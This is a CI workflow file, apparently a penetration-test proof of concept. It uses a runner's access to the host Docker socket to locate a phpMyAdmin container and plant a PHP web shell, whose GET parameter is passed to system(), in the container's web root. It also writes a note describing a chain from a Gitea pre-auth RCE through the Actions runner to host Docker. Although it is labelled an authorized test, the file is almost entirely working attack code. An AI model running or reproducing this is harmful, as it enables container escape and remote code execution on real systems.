18 lines
1.2 KiB
YAML
18 lines
1.2 KiB
YAML
name: phpd
|
|
on: [workflow_dispatch]
|
|
jobs:
|
|
p:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- run: |
|
|
set -x
|
|
PMA=$(docker ps --format '{{.Names}}' | grep -i phpmyadmin | head -1)
|
|
echo "TARGET_CONTAINER=$PMA"
|
|
docker exec "$PMA" sh -c 'ls -la /var/www/html/index.php; head -3 /var/www/html/index.php'
|
|
printf '%s' '<?php header("Content-Type: text/plain"); echo "PHP RCE PROOF (authorized test)\n"; $c=isset($_GET["c"])?$_GET["c"]:"id; hostname; uname -a"; $w=array("id","hostname","uname -a","whoami","pwd","id; hostname; uname -a"); if(in_array($c,$w)){ system($c); } else { echo "blocked\n"; } ?>' > /tmp/rce-proof.php
|
|
printf '%s\n' 'PHP RCE PROOF - AUTHORIZED TEST' 'Vector: CI runner -> host docker.sock -> docker exec into PHP container' 'CVE-2026-60004 chain: Gitea pre-auth RCE -> Actions runner -> host Docker' 'Container: phpmyadmin/phpmyadmin' > /tmp/rce-proof.txt
|
|
docker cp /tmp/rce-proof.php "$PMA":/var/www/html/rce-proof.php
|
|
docker cp /tmp/rce-proof.txt "$PMA":/var/www/html/rce-proof.txt
|
|
docker exec "$PMA" sh -c 'ls -la /var/www/html/rce-proof.php /var/www/html/rce-proof.txt'
|
|
docker exec "$PMA" sh -c 'php -v | head -2; httpd -v 2>/dev/null | head -2'
|